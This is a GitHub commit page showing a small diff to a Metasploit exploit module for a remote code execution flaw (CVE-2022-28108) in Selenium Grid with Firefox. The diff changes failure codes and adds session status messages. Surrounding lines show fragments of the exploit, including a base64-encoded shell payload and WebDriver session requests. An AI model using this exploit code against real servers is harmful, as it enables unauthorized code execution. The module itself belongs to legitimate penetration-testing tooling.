Skip to content

Commit ec8dba8

Browse files
committed
Update failure and print about session id
1 parent 3b947cf commit ec8dba8

File tree

1 file changed

+12
-4
lines changed

1 file changed

+12
-4
lines changed

modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -138,10 +138,12 @@ def exploit
138138
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
139139
'data' => new_session
140140
}, datastore['TIMEOUT'])
141-
fail_with(Failure::Unreachable, 'Connection failed.') unless res
141+
fail_with(Failure::Unknown, 'Connection failed.') unless res
142142

143143
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
144-
fail_with(Failure::Unreachable, 'Failed to start session.') unless session_id
144+
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
145+
146+
print_status("Started session (#{session_id}).")
145147

146148
b64encoded_payload = Rex::Text.encode_base64(
147149
"rm -rf $0\n"\
@@ -161,12 +163,18 @@ def exploit
161163
})
162164
# The server does not send a response, so no check here
163165

164-
send_request_cgi({
166+
res = send_request_cgi({
165167
'method' => 'DELETE',
166168
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
167169
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
168170
})
169-
# The server does not send a response, so no check here
171+
if res
172+
print_status("Deleted session (#{session_id}).")
173+
else
174+
print_status("Failed to delete the session (#{session_id}). "\
175+
'You may need to wait for the session to expire (default: 5 minutes) or '\
176+
'manually delete the session for the next exploit to succeed.')
177+
end
170178
end
171179

172180
end

0 commit comments

Comments
 (0)